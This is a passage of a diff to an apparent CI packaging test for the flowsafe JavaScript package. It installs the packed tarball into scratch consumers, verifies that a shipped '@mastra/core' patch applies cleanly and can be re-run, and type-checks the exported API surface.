+ * A consumer that records the shipped patch through pnpm installs it patched,
+ * and proves notification delivery bookkeeping there, which only a patched core
+ * runs.
+ */
+function assertPatchedConsumerInstall(consumer, patchName, shippedPatch) {
+  const patchedConsumer = join(temporary, 'consumer-patched');
+  mkdirSync(patchedConsumer);
+  mkdirSync(join(patchedConsumer, 'patches'));
+  copyFileSync(shippedPatch, join(patchedConsumer, 'patches', patchName));
+  const patchedConsumerManifest = JSON.parse(
+    readFileSync(join(consumer, 'package.json'), 'utf8'),
+  );
+  patchedConsumerManifest.name = 'flowsafe-agent-host-patched-consumer';
+  patchedConsumerManifest.pnpm = {
+    patchedDependencies: { '@mastra/core@1.53.0': `patches/${patchName}` },
+  };
+  writeFileSync(
+    join(patchedConsumer, 'package.json'),
+    `${JSON.stringify(patchedConsumerManifest, null, 2)}\n`,
+  );
+  copyFileSync(
+    join(consumer, 'pnpm-workspace.yaml'),
+    join(patchedConsumer, 'pnpm-workspace.yaml'),
+  );
+  copyFileSync(join(consumer, '.npmrc'), join(patchedConsumer, '.npmrc'));
+  writeFileSync(
+    join(patchedConsumer, 'source-key-probe.mjs'),
+    SOURCE_KEY_PROBE,
+  );
+  // notification-runtime.mjs imports sqlite-fixture.mjs from its own directory,
+  // and its package specifiers resolve here because this manifest clones the
+  // ordinary consumer's dependencies.
+  copyFileSync(
+    join(consumer, 'sqlite-fixture.mjs'),
+    join(patchedConsumer, 'sqlite-fixture.mjs'),
+  );
+  run('pnpm', ['install', '--ignore-scripts'], patchedConsumer);
+  const patchedProbe = JSON.parse(
+    execFileSync(process.execPath, ['source-key-probe.mjs'], {
+      cwd: patchedConsumer,
+      encoding: 'utf8',
+      stdio: 'pipe',
+    }),
+  );
+  assert.deepEqual(patchedProbe, {
+    bySourceType: 'number',
+    ordinary: 'discard',
+    colliding: 'discard',
+  });
+  // Notification delivery bookkeeping runs only against a patched core, so its
+  // receipts are proved in this consumer rather than in the ordinary one.
+  writeFileSync(
+    join(patchedConsumer, 'notification-runtime.mjs'),
+    `import assert from 'node:assert/strict';
+import * as approvals from '@proofoftech/flowsafe/approval-api';
+import * as doRunner from '@proofoftech/flowsafe/do-runner';
+import * as signals from '@proofoftech/flowsafe/signals';
+import { InMemoryStore } from '@mastra/core/storage';
+import { openSqlite, sqliteUnitDatabase } from './sqlite-fixture.mjs';
+const notificationSql = openSqlite();
+const notificationStore = new signals.D1NotificationsStorage(sqliteUnitDatabase(notificationSql));
+const notificationNow = new Date();
+await notificationStore.createNotification({
+  id: 'packed-notification', threadId: 'notification-thread', resourceId: 'notification-thread', agentId: 'writer',
+  source: 'packed', kind: 'changed', summary: 'delivery receipt', deliverAt: notificationNow,
+});
+const notificationContext = approvals.createPrincipalActorContext({
+  principal: approvals.trustAutomationPrincipal({ kind: 'system', id: 'notification-dispatch', purpose: 'notification.dispatch' }),
+  storeFactory: new approvals.InMemoryApprovalStoreFactory(),
+  buildService: () => { throw new Error('notification receipt does not use approval service'); },
+});
+const notificationTickOptions = {
+  storage: notificationStore,
+  topology: { send: async () => new Response(null, { status: 404 }) },
+  resolveContext: () => notificationContext,
+  now: () => notificationNow,
+  executionFence: 'none',
+  maxDeliveryAttempts: 1,
+};
+const notificationTick = signals.createNotificationDispatchTick(notificationTickOptions);
+assert.deepEqual(await notificationTick(), { due: 1, delivered: 0, failed: 0, discarded: 1 });
+const notificationReceipt = await notificationStore.getNotification({ threadId: 'notification-thread', id: 'packed-notification' });
+assert.equal(notificationReceipt.status, 'discarded');
+assert.equal(notificationReceipt.deliveryAttempts, 1);
+assert.equal(notificationReceipt.deliveryReason, 'delivery-attempts-exhausted');
+assert.match(notificationReceipt.lastDeliveryError, /404/);
+assert.equal(notificationReceipt.lastDeliveryAttemptAt.toISOString(), notificationNow.toISOString());
+assert.equal(notificationReceipt.discardedAt instanceof Date, true);
+assert.equal(notificationReceipt.deliverAt, undefined);
+assert.equal(notificationReceipt.summaryAt, undefined);
+assert.deepEqual(await notificationStore.listDueNotifications({ now: new Date(notificationNow.getTime() + 60000) }), []);
+const coreNotificationStore = await new InMemoryStore().getStore('notifications');
+assert.ok(coreNotificationStore);
+assert.equal(typeof coreNotificationStore.getNotification, 'function');
+assert.throws(() => signals.createNotificationDispatchTick({ ...notificationTickOptions, storage: coreNotificationStore }), TypeError);
+let unsupportedNotificationReads = 0;
+const unsupportedNotificationRoutes = signals.createThreadSignalRoutes({
+  resolveAgent: () => ({ id: 'writer' }),
+  resolveResourceId: () => 'notification-thread',
+  resolveNotificationsStorage: () => ({
+    getNotification: async () => { unsupportedNotificationReads++; return null; },
+  }),
+});
+const notificationLog = console.error;
+let unsupportedNotificationResponse;
+try {
+  console.error = () => {};
+  unsupportedNotificationResponse = await unsupportedNotificationRoutes(new Request('https://thread/signal/notifications/dispatch', {
+    method: 'POST', body: JSON.stringify({ notificationIds: ['packed-notification'], resourceId: 'notification-thread', agentId: 'writer', now: notificationNow.toISOString() }),
+  }), { threadId: 'notification-thread', principal: notificationContext.principal, init: doRunner.init({ storage: new InMemoryStore() }, { executionFence: 'none', startIdempotency: 'none' }) });
+} finally {
+  console.error = notificationLog;
+}
+assert.equal(unsupportedNotificationResponse.status, 502);
+assert.deepEqual(await unsupportedNotificationResponse.json(), { error: 'internal error' });
+assert.equal(unsupportedNotificationReads, 0);
+notificationSql.close();
+`,
+  );
+  run(process.execPath, ['notification-runtime.mjs'], patchedConsumer);
+}
+
+/** The postinstall command the guide documents applies the shipped bytes once. */
+function assertToolNeutralPatchRoute(consumer, patchName, shippedPatch) {
+  const coreChunks = [
+    'chunk-P4Y2BJL7.js',
+    'chunk-XAQAI6CU.cjs',
+    'chunk-3S5BFAEP.js',
+    'chunk-ODHD3TLJ.cjs',
+  ];
+  const appRoot = join(temporary, 'app-root');
+  const scratchCore = join(appRoot, 'node_modules', '@mastra', 'core');
+  // A plain content copy, never a hard-link clone: the installed chunk files
+  // are hard links into the pnpm store.
+  cpSync(
+    join(consumer, 'node_modules', '@mastra', 'core', 'dist'),
+    join(scratchCore, 'dist'),
+    { recursive: true, dereference: true },
+  );
+  mkdirSync(join(appRoot, 'patches'), { recursive: true });
+  copyFileSync(shippedPatch, join(appRoot, 'patches', patchName));
+  const guide = readFileSync(
+    join(repositoryRoot, 'docs', 'getting-started.md'),
+    'utf8',
+  );
+  const documented = [...guide.matchAll(/"postinstall": "([^"]*)"/g)];
+  assert.equal(
+    documented.length,
+    1,
+    'the getting-started guide must document one postinstall command',
+  );
+  // The guide's block is JSON source text; a consumer's manifest is parsed
+  // before the shell sees the value, so parse it the same way.
+  const command = JSON.parse(`"${documented[0][1]}"`);
+  // This site departs from the file's argv-only convention because the
+  // documented command is a shell string carrying redirection and ||, and
+  // running what the guide prints is what makes the guide's verification
+  // sentence true.
+  const firstLeg = spawnSync('sh', ['-c', command], {
+    cwd: appRoot,
+    stdio: 'pipe',
+  });
+  assert.equal(firstLeg.status, 0, 'the documented command must apply cleanly');
+  for (const chunk of coreChunks) {
+    assert.deepEqual(
+      readFileSync(join(scratchCore, 'dist', chunk)),
+      readFileSync(
+        join(packageRoot, 'node_modules', '@mastra', 'core', 'dist', chunk),
+      ),
+      `${chunk} must match the workspace's patched chunk`,
+    );
+  }
+  const secondLeg = spawnSync('sh', ['-c', command], {
+    cwd: appRoot,
+    stdio: 'pipe',
+  });
+  assert.equal(secondLeg.status, 0, 'the documented command must re-run clean');
+  for (const chunk of coreChunks) {
+    assert.deepEqual(
+      readFileSync(join(scratchCore, 'dist', chunk)),
+      readFileSync(
+        join(packageRoot, 'node_modules', '@mastra', 'core', 'dist', chunk),
+      ),
+      `${chunk} must be unchanged by a second run`,
+    );
+  }
+  assert.deepEqual(
+    readdirSync(join(scratchCore, 'dist')).filter(
+      (name) => name.endsWith('.rej') || name.endsWith('.orig'),
+    ),
+    [],
+  );
+}
 try {
   const packed = join(temporary, 'packed');
   const breakwaterPacked = join(temporary, 'breakwater-packed');
@@ -77,7 +338,10 @@ try {
   assertAttwEsmPackage(archive, packageRoot);
   run('tar', ['-xzf', archive, '-C', extracted]);
 
-  const packageDirectory = join(extracted, 'package');
+  // Symlink-resolved, because Node reports module URLs under the real path:
+  // the loader hook and the module-graph filter below compare those URLs
+  // against the `packedDistUrl` derived from this directory.
+  const packageDirectory = realpathSync(join(extracted, 'package'));
   assert.equal(
     existsSync(join(packageDirectory, 'dist', 'stale-package-probe.js')),
     false,
@@ -85,6 +349,136 @@ try {
   const manifest = JSON.parse(
     readFileSync(join(packageDirectory, 'package.json'), 'utf8'),
   );
+  assert.deepEqual(
+    Object.keys(manifest.exports).sort(),
+    [
+      '.',
+      './agent-host',
+      './agent-runner',
+      './approval-api',
+      './approval-ui',
+      './artifacts',
+      './audit-export',
+      './background-tasks',
+      './deployment-identity-protocol',
+      './do-runner',
+      './do-runner/constants',
+      './do-runner/testing',
+      './goals',
+      './host-kit',
+      './host-kit/module',
+      './package.json',
+      './schedules',
+      './signal-providers',
+      './signals',
+      './signals/client',
+    ].sort(),
+  );
+  const deadlineConsumer = join(temporary, 'deadline-consumer');
+  const deadlineScope = join(deadlineConsumer, 'node_modules', '@proofoftech');
+  mkdirSync(deadlineScope, { recursive: true });
+  symlinkSync(packageDirectory, join(deadlineScope, 'flowsafe'), 'dir');
+  const deadlineGraph = join(deadlineConsumer, 'module-graph.jsonl');
+  const packedDistUrl = pathToFileURL(
+    `${join(packageDirectory, 'dist')}/`,
+  ).href;
+  writeFileSync(
+    join(deadlineConsumer, 'graph-loader.mjs'),
+    `import { appendFileSync } from 'node:fs';
+export async function resolve(specifier, context, nextResolve) {
+  const result = await nextResolve(specifier, context);
+  if (context.parentURL?.startsWith(${JSON.stringify(packedDistUrl)}) &&
+      !result.url.startsWith(${JSON.stringify(packedDistUrl)})) {
+    throw new Error('deadline runtime imports outside the packed dist: ' + result.url);
+  }
+  appendFileSync(${JSON.stringify(deadlineGraph)}, JSON.stringify({
+    specifier, parentURL: context.parentURL, url: result.url,
+  }) + '\\n');
+  return result;
+}
+`,
+  );
+  writeFileSync(
+    join(deadlineConsumer, 'runtime.mjs'),
+    `import assert from 'node:assert/strict';
+import { createRequire } from 'node:module';
+const requireFromPackage = createRequire(${JSON.stringify(pathToFileURL(join(packageDirectory, 'package.json')).href)});
+for (const name of ['@mastra/core', '@mastra/cloudflare-d1', 'jose']) {
+  assert.throws(() => requireFromPackage.resolve(name), { code: 'MODULE_NOT_FOUND' }, name);
+}
+const constants = await import('@proofoftech/flowsafe/do-runner/constants');
+const testing = await import('@proofoftech/flowsafe/do-runner/testing');
+assert.deepEqual(Object.keys(constants).sort(), [
+  'isArmableSuspensionDeadlineMs', 'isSuspensionTimeoutResumeData',
+  'MAX_SUSPENSION_DEADLINE_MS', 'MIN_SUSPENSION_DEADLINE_MS',
+  'SUSPENSION_DEADLINE_PAYLOAD_KEY', 'SUSPENSION_TIMEOUT_RESUME_KEY',
+].sort());
+assert.deepEqual(Object.keys(testing), ['suspensionTimeoutResumeData']);
+assert.equal(constants.MIN_SUSPENSION_DEADLINE_MS, 1000);
+assert.equal(constants.MAX_SUSPENSION_DEADLINE_MS, 31536000000);
+assert.equal(constants.SUSPENSION_DEADLINE_PAYLOAD_KEY, 'flowsafe.deadlineMs');
+assert.equal(constants.SUSPENSION_TIMEOUT_RESUME_KEY, 'flowsafe.suspensionTimeout');
+for (const value of [1000, 1001, 86400000, 31536000000]) {
+  assert.equal(constants.isArmableSuspensionDeadlineMs(value), true, String(value));
+}
+for (const value of [undefined, null, true, '1000', [], {}, NaN, Infinity, -Infinity, 0, -1, 999, 1000.5, 31536000001, Number.MAX_SAFE_INTEGER + 1]) {
+  assert.equal(constants.isArmableSuspensionDeadlineMs(value), false, String(value));
+}
+const timeout = testing.suspensionTimeoutResumeData({ step: 'gate', deadlineAt: 2000 }, 2500);
+assert.equal(JSON.stringify(timeout), '{"flowsafe.suspensionTimeout":{"step":"gate","deadlineAt":2000,"expiredAt":2500}}');
+assert.equal(constants.isSuspensionTimeoutResumeData(timeout), true);
+assert.equal(constants.isSuspensionTimeoutResumeData({
+  'flowsafe.suspensionTimeout': { step: 'gate', deadlineAt: 2000, expiredAt: 2500 },
+}), true);
+for (const value of [undefined, null, {}, [], { 'flowsafe.suspensionTimeout': {} }, {
+  'flowsafe.suspensionTimeout': { step: 'gate', deadlineAt: '2000', expiredAt: 2500 },
+}]) {
+  assert.equal(constants.isSuspensionTimeoutResumeData(value), false);
+}
+`,
+  );
+  writeFileSync(
+    join(deadlineConsumer, 'graph-register.mjs'),
+    `import { register } from 'node:module';
+register('./graph-loader.mjs', import.meta.url);
+`,
+  );
+  run(
+    process.execPath,
+    [
+      '--import',
+      pathToFileURL(join(deadlineConsumer, 'graph-register.mjs')).href,
+      'runtime.mjs',
+    ],
+    deadlineConsumer,
+  );
+  const deadlineModules = readFileSync(deadlineGraph, 'utf8')
+    .trim()
+    .split('\n')
+    .map((line) => JSON.parse(line).url)
+    .filter((url) => url.startsWith(packedDistUrl));
+  assert.deepEqual(
+    [...new Set(deadlineModules)].sort(),
+    ['constants', 'testing', 'suspension-deadline', 'path-safe-id']
+      .map((name) => `${packedDistUrl}do-runner/${name}.js`)
+      .sort(),
+  );
+  for (const leaf of [
+    'fenced-workflows-d1',
+    'fenced-workflow-capability',
+    'run-terminal-state',
+    'run-lifecycle',
+    'run-provenance',
+  ]) {
+    const declaration = readFileSync(
+      join(packageDirectory, 'dist', `do-runner/${leaf}.d.ts`),
+      'utf8',
+    );
+    assert.doesNotMatch(
+      declaration,
+      /node:async_hooks|AsyncLocalStorage|NodeJS|<reference\s+types=["']node["']/,
+    );
+  }
   // Compared against the SOURCE manifest, not a copy of its value: this script
   // is a CI-only step, so a hardcoded range silently goes stale the moment the
   // peer floor moves and only fails after the change is pushed. The regex
@@ -133,6 +527,9 @@ try {
   const rootManifest = JSON.parse(
     readFileSync(join(repositoryRoot, 'package.json'), 'utf8'),
   );
+  const rootPackagePolicy = parseYaml(
+    readFileSync(join(repositoryRoot, 'pnpm-workspace.yaml'), 'utf8'),
+  );
   writeFileSync(
     join(consumer, 'package.json'),
     `${JSON.stringify(
@@ -144,6 +541,7 @@ try {
         engines: rootManifest.engines,
         dependencies: {
           '@mastra/core': corePeer,
+          zod: sourceManifest.devDependencies.zod,
           '@proofoftech/breakwater': `file:${breakwaterArchive}`,
           '@proofoftech/flowsafe': `file:${archive}`,
         },
@@ -158,12 +556,32 @@ try {
   );
   writeFileSync(
     join(consumer, 'pnpm-workspace.yaml'),
-    'packages:\n  - "."\nminimumReleaseAge: 10080\n',
+    `${JSON.stringify(
+      {
+        packages: ['.'],
+        minimumReleaseAge: 10080,
+        minimumReleaseAgeExclude:
+          rootPackagePolicy.minimumReleaseAgeExclude ?? [],
+      },
+      null,
+      2,
+    )}\n`,
   );
   writeFileSync(
     join(consumer, '.npmrc'),
     'ignore-scripts=true\nengine-strict=true\nauto-install-peers=false\n',
   );
+  // GNU patch applies the shipped patch in the tool-neutral proof below.
+  // Probing before the consumer installs keeps a missing tool from costing
+  // several minutes of installing first.
+  try {
+    execFileSync('patch', ['--version'], { encoding: 'utf8', stdio: 'pipe' });
+  } catch (error) {
+    throw new Error(
+      'GNU patch is required on PATH for the packed agent-host proof',
+      { cause: error },
+    );
+  }
   run('pnpm', ['install', '--ignore-scripts'], consumer);
 
   const installedFlowsafeRoot = join(
@@ -197,6 +615,9 @@ try {
   BREAKWATER_CONNECTOR_GRANTS_KEY,
   connectorGrantsForLeg,
   type ConnectorApprovalGrant,
+  type InitialTerminalizationRequest as RootTerminalizationRequest,
+  type InitialTerminalizationResult as RootTerminalizationResult,
+  type RunTerminalCleanup as RootTerminalCleanup,
 } from '@proofoftech/flowsafe';
 import type {
   ApprovalGrantScope,
@@ -204,12 +625,24 @@ import type {
 } from '@proofoftech/flowsafe/approval-api';
 import {
   sweepExpiredRunDeadlines,
+  purgeExpiredWorkflowRuns,
+  FENCED_WORKFLOW_STORAGE,
+  FencedWorkflowsStorageD1,
+  type InitialRunAdmission,
+  type InitialTerminalizationRequest,
+  type InitialTerminalizationResult,
+  type RunTerminalCleanup,
+  type FencedWorkflowAdmissionCapability,
   type DeploymentInventory,
   type DrainProofContract,
   type DurableObjectRunLifecycleHooks,
   type ExecutionFenceState,
   type ExecutionFenceWiring,
+  type MutationEpochContext,
   type RunTerminalErrorEnvelope,
+  type RunRetentionCursor,
+  type RunRetentionScanPosition,
+  type SnapshotDatabase,
   type StartIdempotencyWiring,
 } from '@proofoftech/flowsafe/do-runner';
 import {
@@ -220,6 +653,9 @@ import {
   type FlowsafeWorkerEnv,
   type RunRouterOptions,
   type RunRouterStartIdempotency,
+  type InitialTerminalizationRequest as HostTerminalizationRequest,
+  type InitialTerminalizationResult as HostTerminalizationResult,
+  type RunTerminalCleanup as HostTerminalCleanup,
 } from '@proofoftech/flowsafe/host-kit';
 import {
   createAgentCatalog,
@@ -243,6 +679,24 @@ import type {
   BackgroundTaskHost,
   BackgroundTaskReads,
 } from '@proofoftech/flowsafe/background-tasks';
+import {
+  createScheduleRouter,
+  createScheduleStorageDomains,
+  D1SchedulesStorage,
+  FENCED_SCHEDULE_STORAGE,
+  ScheduleMutationConflictError,
+  ScheduleMutationOutcomeUnknownError,
+  type AuthorizedSchedule,
+  type FencedScheduleMutationCapability,
+  type Schedule,
+  type ScheduleDatabase,
+  type ScheduleFacadeStore,
+  type ScheduleResumeMutation,
+  type ScheduleRouter,
+  type ScheduleRouterOptions,
+} from '@proofoftech/flowsafe/schedules';
+// @ts-expect-error internal context capture is not a schedules export
+import type { captureActorContext as ScheduleCapture } from '@proofoftech/flowsafe/schedules';
 
 const automation: AgentAutomationRule = {
   kind: 'system',
@@ -302,6 +756,107 @@ const worker = null as FlowsafeWorker<FlowsafeWorkerEnv> | null;
 const topologyOptions = null as AgentThreadTopologyOptions | null;
 const backgroundReads = null as BackgroundTaskReads | null;
 declare const bgHost: BackgroundTaskHost;
+declare const domainConfig: ConstructorParameters<typeof FencedWorkflowsStorageD1>[0];
+declare const admission: InitialRunAdmission;
+declare const terminalRequest: InitialTerminalizationRequest;
+const hostTerminalRequest: HostTerminalizationRequest = terminalRequest;
+const terminalResult = null as InitialTerminalizationResult | null;
+const hostTerminalResult: HostTerminalizationResult | null = terminalResult;
+const cleanup = null as RunTerminalCleanup | null;
+const hostCleanup: HostTerminalCleanup | null = cleanup;
+const rootTerminalRequest: RootTerminalizationRequest = terminalRequest;
+const rootTerminalResult: RootTerminalizationResult | null = terminalResult;
+const rootCleanup: RootTerminalCleanup | null = cleanup;
+const rejectsNullNamespace: null extends InitialTerminalizationRequest['execution']['tablePrefix'] ? false : true = true;
+void hostTerminalRequest;
+void hostTerminalResult;
+void hostCleanup;
+void rootTerminalRequest;
+void rootTerminalResult;
+void rootCleanup;
+void rejectsNullNamespace;
+const owned = new FencedWorkflowsStorageD1(domainConfig);
+const capability: FencedWorkflowAdmissionCapability | undefined = owned[FENCED_WORKFLOW_STORAGE];
+if (capability) {
+  void capability.withInitialAdmission(admission, async () => ({ id: 'run' }));
+  void capability.readSnapshot({ workflowId: 'workflow', runId: 'run' });
+  void capability.terminalizeInitialAdmission(terminalRequest);
+  // @ts-expect-error callers cannot choose the disposition
+  void capability.terminalizeInitialAdmission({ ...terminalRequest, requestedStatus: 'failed' });
+  // @ts-expect-error callers cannot supply a replacement snapshot
+  void capability.terminalizeInitialAdmission({ ...terminalRequest, failedSnapshot: {} });
+}
+declare const scheduleDatabase: ScheduleDatabase;
+declare const scheduleRow: Schedule;
+declare const authorizedSchedule: AuthorizedSchedule;
+declare const scheduleRouterOptions: Omit<ScheduleRouterOptions, 'store' | 'executionFence'>;
+const scheduleOwner = { kind: 'human', id: 'schedule-owner' } as const;
+const scheduleMutation: MutationEpochContext = { mutationEpoch: 1 };
+const scheduleResume: ScheduleResumeMutation = {
+  expectedCron: scheduleRow.cron,
+  expectedTimezone: undefined,
+  nextFireAt: scheduleRow.nextFireAt,
+};
+const scheduleStore = new D1SchedulesStorage(scheduleDatabase);
+void createScheduleStorageDomains(scheduleDatabase);
+void scheduleStore.createSchedule(scheduleRow);
+void scheduleStore.createSchedule(scheduleRow, scheduleMutation);
+void scheduleStore.createOwnedSchedule(authorizedSchedule, scheduleOwner, 10);
+void scheduleStore.createOwnedSchedule(authorizedSchedule, scheduleOwner, 10, scheduleMutation);
+void scheduleStore.updateSchedule(scheduleRow.id, { metadata: {} });
+void scheduleStore.updateSchedule(scheduleRow.id, { metadata: {} }, scheduleMutation);
+void scheduleStore.pauseSchedule(scheduleRow.id);
+void scheduleStore.pauseSchedule(scheduleRow.id, scheduleMutation);
+void scheduleStore.resumeSchedule(scheduleRow.id, scheduleResume);
+void scheduleStore.resumeSchedule(scheduleRow.id, scheduleResume, scheduleMutation);
+void scheduleStore.deleteSchedule(scheduleRow.id);
+void scheduleStore.deleteSchedule(scheduleRow.id, scheduleMutation);
+void scheduleStore.deleteOwnedSchedule(scheduleRow.id);
+void scheduleStore.deleteOwnedSchedule(scheduleRow.id, scheduleMutation);
+const scheduleCapability: FencedScheduleMutationCapability | undefined = scheduleStore[FENCED_SCHEDULE_STORAGE];
+if (scheduleCapability) {
+  void scheduleCapability.createOwnedSchedule(authorizedSchedule, scheduleOwner, 10, scheduleMutation);
+  void scheduleCapability.updateSchedule(scheduleRow.id, { metadata: {} }, scheduleMutation);
+  void scheduleCapability.pauseSchedule(scheduleRow.id, scheduleMutation);
+  void scheduleCapability.resumeSchedule(scheduleRow.id, scheduleResume, scheduleMutation);
+  void scheduleCapability.deleteOwnedSchedule(scheduleRow.id, scheduleMutation);
+  void scheduleCapability.observeScheduleMutation(scheduleRow.id, 'pause', scheduleMutation);
+  void scheduleCapability.observeScheduleMutation(scheduleRow.id, 'resume', scheduleMutation);
+  // @ts-expect-error owned creation requires the captured context argument
+  void scheduleCapability.createOwnedSchedule(authorizedSchedule, scheduleOwner, 10);
+  // @ts-expect-error update requires the captured context argument
+  void scheduleCapability.updateSchedule(scheduleRow.id, { metadata: {} });
+  // @ts-expect-error pause requires the captured context argument
+  void scheduleCapability.pauseSchedule(scheduleRow.id);
+  // @ts-expect-error resume requires the captured context argument
+  void scheduleCapability.resumeSchedule(scheduleRow.id, scheduleResume);
+  // @ts-expect-error deletion requires the captured context argument
+  void scheduleCapability.deleteOwnedSchedule(scheduleRow.id);
+  // @ts-expect-error observation requires the captured context argument
+  void scheduleCapability.observeScheduleMutation(scheduleRow.id, 'pause');
+  // @ts-expect-error observation cannot select an authoring operation
+  void scheduleCapability.observeScheduleMutation(scheduleRow.id, 'update', scheduleMutation);
+}
+// @ts-expect-error fixed pause accepts no caller patch
+void scheduleStore.pauseSchedule(scheduleRow.id, { status: 'paused' });
+// @ts-expect-error resume requires the observed cron
+void scheduleStore.resumeSchedule(scheduleRow.id, { expectedTimezone: undefined, nextFireAt: scheduleRow.nextFireAt });
+// @ts-expect-error an omitted expectedTimezone is not an undefined observation
+void scheduleStore.resumeSchedule(scheduleRow.id, { expectedCron: scheduleRow.cron, nextFireAt: scheduleRow.nextFireAt });
+// @ts-expect-error the epoch is numeric trusted context
+void scheduleStore.updateSchedule(scheduleRow.id, { metadata: {} }, { mutationEpoch: '1' });
+const legacyScheduleFacade: ScheduleFacadeStore = {
+  createOwnedSchedule: async () => scheduleRow,
+  getSchedule: async () => scheduleRow,
+  listSchedules: async () => [scheduleRow],
+  updateSchedule: async () => scheduleRow,
+  deleteOwnedSchedule: async () => 'deleted',
+  listTriggers: async () => [],
+};
+const legacyScheduleRouter: ScheduleRouter = createScheduleRouter({ ...scheduleRouterOptions, store: legacyScheduleFacade, executionFence: 'none' });
+void legacyScheduleRouter;
+void new ScheduleMutationConflictError('schedule-changed');
+void new ScheduleMutationOutcomeUnknownError({ cause: new Error('private cause') });
 void BREAKWATER_CONNECTOR_EXECUTION_KEY;
 void BREAKWATER_CONNECTOR_GRANTS_KEY;
 void connectorGrantsForLeg;
@@ -335,8 +890,264 @@ void bgHost.getTask;
 void bgHost.listTasks;
 void bgHost.stream;
 void sweepExpiredRunDeadlines;
+declare const retentionDatabase: SnapshotDatabase & Required<Pick<SnapshotDatabase, 'batch'>>;
+declare const snapshotReader: SnapshotDatabase;
+const retentionPosition: RunRetentionScanPosition = { afterRowId: -1, highWaterRowId: 12 };
+let retentionCursor: RunRetentionCursor | undefined = {
+  version: 1, tablePrefix: '', snapshots: retentionPosition,
+};
+const persistRetentionCursor = async (next: RunRetentionCursor): Promise<void> => { retentionCursor = next; };
+void purgeExpiredWorkflowRuns(retentionDatabase, {
+  ttlMs: 1000, cursor: retentionCursor, advanceCursor: persistRetentionCursor,
+});
+// @ts-expect-error retention requires a cursor persistence callback
+void purgeExpiredWorkflowRuns(retentionDatabase, { ttlMs: 1000 });
+// @ts-expect-error a reader with optional batch cannot guarantee a transaction
+void purgeExpiredWorkflowRuns(snapshotReader, { ttlMs: 1000, advanceCursor: persistRetentionCursor });
 void createFlowsafeRunnerLifecycle;
 void createRunRouter;
+`,
+  );
+  writeFileSync(
+    join(consumer, 'deadline-consumer.ts'),
+    `import {
+  isArmableSuspensionDeadlineMs,
+  suspensionDeadlinesOf,
+  type RejectedSuspensionDeadline,
+  type RunSummary,
+  type SuspensionDeadlineEntry,
+} from '@proofoftech/flowsafe/do-runner';
+import * as constants from '@proofoftech/flowsafe/do-runner/constants';
+import * as testing from '@proofoftech/flowsafe/do-runner/testing';
+
+declare const summary: RunSummary;
+const derived: {
+  entries: SuspensionDeadlineEntry[];
+  rejected: RejectedSuspensionDeadline[];
+} = suspensionDeadlinesOf(summary);
+declare const candidate: unknown;
+if (isArmableSuspensionDeadlineMs(candidate)) {
+  const duration: number = candidate;
+  void duration;
+}
+if (constants.isArmableSuspensionDeadlineMs(candidate)) {
+  const duration: number = candidate;
+  void duration;
+}
+const timeout: testing.SuspensionTimeoutResumeData = testing.suspensionTimeoutResumeData(
+  { step: 'gate', deadlineAt: 2000 }, 2500,
+);
+const constantsTimeout: constants.SuspensionTimeoutResumeData = timeout;
+const envelope: testing.SuspensionTimeoutEnvelope = timeout[constants.SUSPENSION_TIMEOUT_RESUME_KEY];
+const constantsEnvelope: constants.SuspensionTimeoutEnvelope = envelope;
+if (constants.isSuspensionTimeoutResumeData(candidate)) {
+  const detected: constants.SuspensionTimeoutResumeData = candidate;
+  void detected[constants.SUSPENSION_TIMEOUT_RESUME_KEY].expiredAt;
+}
+// @ts-expect-error the test minter requires the step id
+testing.suspensionTimeoutResumeData({ deadlineAt: 2000 }, 2500);
+// @ts-expect-error the test minter requires an epoch millisecond deadline
+testing.suspensionTimeoutResumeData({ step: 'gate', deadlineAt: '2000' }, 2500);
+// @ts-expect-error the storage record parser is private
+void constants.parseSuspensionDeadlineRecord;
+// @ts-expect-error the deadline merge helper is private
+void constants.mergeSuspensionDeadlines;
+// @ts-expect-error the storage key is private
+void constants.SUSPENSION_DEADLINE_STORAGE_KEY;
+// @ts-expect-error the storage record parser is private
+void testing.parseSuspensionDeadlineRecord;
+// @ts-expect-error the retry ledger is private
+void testing.tombstoned;
+void [derived, constantsTimeout, constantsEnvelope];
+`,
+  );
+  writeFileSync(
+    join(consumer, 'transport-consumer.ts'),
+    `import {
+  type ActorContext, ApprovalService, createActorResolver,
+  createPrincipalActorContext, humanPrincipal, InMemoryApprovalStoreFactory,
+} from '@proofoftech/flowsafe/approval-api';
+import type { NotificationsStorage } from '@mastra/core/notifications';
+import {
+  createNotificationDispatchTick, createSignalRouter, createThreadSignalRoutes,
+  DEFAULT_MAX_NOTIFICATION_DELIVERY_ATTEMPTS, D1NotificationsStorage,
+  type NotificationDeliveryStorage, type NotificationDeliveryObservation,
+  type NotificationDeliveryFailure, type NotificationDeliveryUpdateResult,
+  type NotificationDispatchTickOptions, type ThreadSignalRoutesOptions,
+  type SignalDatabase, type SignalRouterOptions,
+} from '@proofoftech/flowsafe/signals';
+import {
+  type RunnerRuntime, type RunExecutionIdentity, type StartRunOptions,
+  type ThreadScope, type StartReservationReading, type PersistedStartResult,
+  type RunSummary,
+} from '@proofoftech/flowsafe/do-runner';
+import {
+  createFlowsafeWorker, type FlowsafeWorkerConfig, type FlowsafeWorkerEnv,
+  type RunStartInput, type DoRunStartInput, type RunRouterOptions,
+  type RunRouterStartIdempotency, type BoundThreadTargetValidator, type ThreadTopology,
+} from '@proofoftech/flowsafe/host-kit';
+import {
+  type AgentStartAuthority, type FlowsafeDurableAgent,
+} from '@proofoftech/flowsafe/agent-runner';
+// @ts-expect-error internal context capture is not a root export
+import type { captureActorContext as RootCapture } from '@proofoftech/flowsafe';
+// @ts-expect-error internal context capture is not an approval export
+import type { captureActorContext as ApprovalCapture } from '@proofoftech/flowsafe/approval-api';
+// @ts-expect-error internal context capture is not a host-kit export
+import type { captureActorContext as HostCapture } from '@proofoftech/flowsafe/host-kit';
+// @ts-expect-error internal context capture is not an agent-host export
+import type { captureActorContext as AgentCapture } from '@proofoftech/flowsafe/agent-host';
+// @ts-expect-error internal context capture is not an agent-runner export
+import type { captureActorContext as AgentRunnerCapture } from '@proofoftech/flowsafe/agent-runner';
+// @ts-expect-error internal context capture is not a do-runner export
+import type { captureActorContext as RunnerCapture } from '@proofoftech/flowsafe/do-runner';
+// @ts-expect-error agent authority belongs only to agent-runner
+import type { AgentStartAuthority as RootAuthority } from '@proofoftech/flowsafe';
+// @ts-expect-error agent authority belongs only to agent-runner
+import type { AgentStartAuthority as ApprovalAuthority } from '@proofoftech/flowsafe/approval-api';
+// @ts-expect-error agent authority belongs only to agent-runner
+import type { AgentStartAuthority as HostAuthority } from '@proofoftech/flowsafe/host-kit';
+// @ts-expect-error agent authority belongs only to agent-runner
